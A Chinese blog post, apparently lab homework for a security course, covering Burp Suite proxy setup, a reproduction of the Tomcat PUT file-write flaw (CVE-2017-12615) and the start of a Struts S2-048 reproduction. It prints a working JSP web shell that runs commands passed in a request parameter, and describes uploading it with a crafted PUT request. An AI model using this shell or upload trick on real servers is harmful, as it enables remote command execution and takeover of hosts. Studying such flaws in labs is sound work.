网络安全C10-2024.8.31

imqiangzai

于 2024-09-10 13:10:10 发布

阅读量431

点赞数 22

文章标签： web安全安全

本文链接：https://blog.csdn.net/imqiangzai/article/details/141815615

版权

练习如下内容:

1、安装burp并实现抓取HTTP站点的数据包；

Burp 是一个集成化的渗透测试工具，它集合了各种渗透组件，使得我们能够更好地自动化或手动完成对web的渗透测试或攻击。

原理：拦截所有经过代理的网络流量，包含客户端发送的请求信息、服务器端返回的信息。

正常情况在访问时为：客户端 <===> 服务器端，而Burp是为中间代理，位置在于客户端与服务器之间，所以所用浏览器需要设置为burp代理，即通过查看如下然后设置浏览器代理；

安装设置：burp在首次使用时需要环境支持，前提是需要安装与配置Java环境变量（这里jdk,jre的版本为1.84），在环境变量系统变量中填加如下三个配置：

classpath
.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;


JAVA_HOME
jdk文件夹的绝对路径


Path
%JAVA_HOME%\bin

burp的抓包在proxy模块中，点击Intercept is on开启与关闭抓包；

2、复现Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)，使用蚁剑链连接；

漏洞描述

Tomcat是Apache的一款轻量级Web应用服务器，它主要用于开发和调试JSP程序，适用于中小型系统，是一个中间件。

在Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当上述版本的Tomcat启用HTTP PUT请求方法时，远程攻击者可以构造恶意请求利用该漏洞向服务器上传包含任意代码执行的jsp文件，并被服务器执行该文件，导致攻击者可以执行任意代码。

漏洞原理
漏洞本质是 Tomcat 的 web.xml 配置了可写（readonly=false），导致我们可以往服务器写入文件，对于Tomcat本身不允许上传 jsp 文件的限制，可以从命令规则入手，将1.jsp后面填加/，从而在从扩展名的识别中就不再是jsp文件了，但系统层面在保存文件过程中 1.jsp/不符合文件命令规则，故将1.jsp/更正为1.jsp,实现脚本上传的目地。

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
   </init-param>
   <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
  </init-param>
  <init-param>
       <param-name>readonly</param-name>
       <param-value>false</param-value>
  </init-param>
  <load-on-startup>1</load-on-startup>
</servlet>

POC：

<%
    if("passwd".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

利用：

通过durp抓包，然后转到Repeater模块，对报报文进行更改，将GET更改为PUT，后面接上自定义文件名称，重点为文件名结尾的/符号，最下方接POC；

至此，通过jsp文件可以实现对所现环境的web Shell所有权限，可通过浏览器输入命令操控主机：

除实现web控制外，此漏洞利用其它工具可实现远程操作的目地，如利用蚁剑更改利用代码即可实现远程连接；

3、复现S2-048 远程代码执行漏洞(CVE-2017-9791)；查看命令执行情况；

Apache Struts 1插件的Apache Struts 2.3.X版本中存在远程代码执行漏洞,该漏洞出现于Struts2的某个类中，该类是为了将Struts1中的Action包装成为Struts2中的Action，以保证Struts2的兼容性。在Struts2中的Struts1插件启用的情况下，远程攻击者可通过使用恶意字段值，构造特定的输入，发送到ActionMessage类中，从而导致任意命令执行，进而获取目标主机系统权限

影响版本：Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本

复现:

利用docker下载CVE-2017-9791镜像，然后通过命令启动容器复现漏洞；